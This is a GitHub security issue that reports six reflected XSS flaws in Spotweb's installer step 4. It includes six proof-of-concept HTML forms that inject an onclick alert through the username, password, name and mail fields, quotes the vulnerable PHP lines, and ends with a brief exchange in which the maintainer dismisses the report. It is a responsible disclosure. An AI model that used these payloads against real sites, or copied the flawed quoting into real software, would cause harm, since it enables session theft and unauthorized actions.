Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security] six XSS in templates/installer/step-004.inc.php #711

Closed
seongil-wi opened this issue Sep 12, 2021 · 2 comments
Closed

[Security] six XSS in templates/installer/step-004.inc.php #711

seongil-wi opened this issue Sep 12, 2021 · 2 comments

Comments

@seongil-wi
Copy link

seongil-wi commented Sep 12, 2021

Describe the bug/issue

  • Reflected Cross-Site Scripting (XSS) may allow an attacker to execute JavaScript code in the context of the victim’s browser.
  • Note that these multiple XSS vulnerabilities exist in the spotweb.

Have you searched the internet or Github for an answer?

  • Not related

To Reproduce
Steps to reproduce the behavior:

  1. Go to the installation page
  2. Complete the configuration including DB connection => goto step 4
  3. Access each page of these HTML files.

Exploit 1 - exploit username parameter

<html>
<form method="POST" action="http://[localhost]/spotweb/install.php?page=4">
  <input name='settingsform[username]' value="1' onclick='alert(1)">
  <button>Send my greetings</button>
</form>
</html>

Exploit 2 - exploit newpassword1 parameter

<html>
<form method="POST" action="http://[localhost]/spotweb/install.php?page=4">
  <input name='settingsform[newpassword1]' value="1' onclick='alert(1)">
  <button>Send my greetings</button>
</form>
</html>

Exploit 3 - exploit newpassword2 parameter

<html>
<form method="POST" action="http://[localhost]/spotweb/install.php?page=4">
  <input name='settingsform[newpassword2]' value="1' onclick='alert(1)">
  <button>Send my greetings</button>
</form>
</html>

Exploit 4 - exploit firstname parameter

<html>
<form method="POST" action="http://[localhost]/spotweb/install.php?page=4">
  <input name='settingsform[firstname]' value="1' onclick='alert(1)">
  <button>Send my greetings</button>
</form>
</html>

Exploit 5 - exploit lastname parameter

<html>
<form method="POST" action="http://[localhost]/spotweb/install.php?page=4">
  <input name='settingsform[lastname]' value="1' onclick='alert(1)">
  <button>Send my greetings</button>
</form>
</html>

Exploit 6 - exploit mail parameter

<html>
<form method="POST" action="http://[localhost]/spotweb/install.php?page=4">
  <input name='settingsform[mail]' value="1' onclick='alert(1)">
  <button>Send my greetings</button>
</form>
</html>
  1. Click each text field
  2. Boom!

Expected behavior

  • This may lead to unauthorized actions being performed, unauthorized access to data, stealing of session information, denial of service, etc. An attacker needs to coerce a user into visiting a link with the XSS payload to be properly exploited against a victim.

Screenshots
스크린샷 2021-09-12 오후 6 46 33

Desktop (please complete the following information):

  • (server) OS: ubuntu
  • (client) OS: window
  • Browser chrome
  • Spotweb Version 1.5.1 and below versions
  • Which branch Develop and Master
  • PHP version 7.1

Additional context
The code below displays the user-controlled parameter username, newpassword1, newpassword2, firstname, lastname and mail with incorrect sanitization:

value='<?php echo htmlspecialchars($form['username']); ?>'/></td>

value='<?php echo htmlspecialchars($form['newpassword1']); ?>'/></td>

value='<?php echo htmlspecialchars($form['newpassword2']); ?>'/></td>

value='<?php echo htmlspecialchars($form['firstname']); ?>'/></td>

value='<?php echo htmlspecialchars($form['lastname']); ?>'/></td>

value='<?php echo htmlspecialchars($form['mail']); ?>'/></td>

@Sweepr
Copy link
Collaborator

Sweepr commented Sep 12, 2021

It's the installer...

@Sweepr Sweepr closed this as completed Sep 12, 2021
@seongil-wi
Copy link
Author

Yes, you are right. However, remember that XSS vulnerabilities that occur during the installation process are also vulnerabilities.
For example, in CVE-2021-37389, CVE-2014-9571, CVE-2020-26043, CVE-2020-18670, etc., you can see the vendors acknowledging that there are vulnerabilities.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants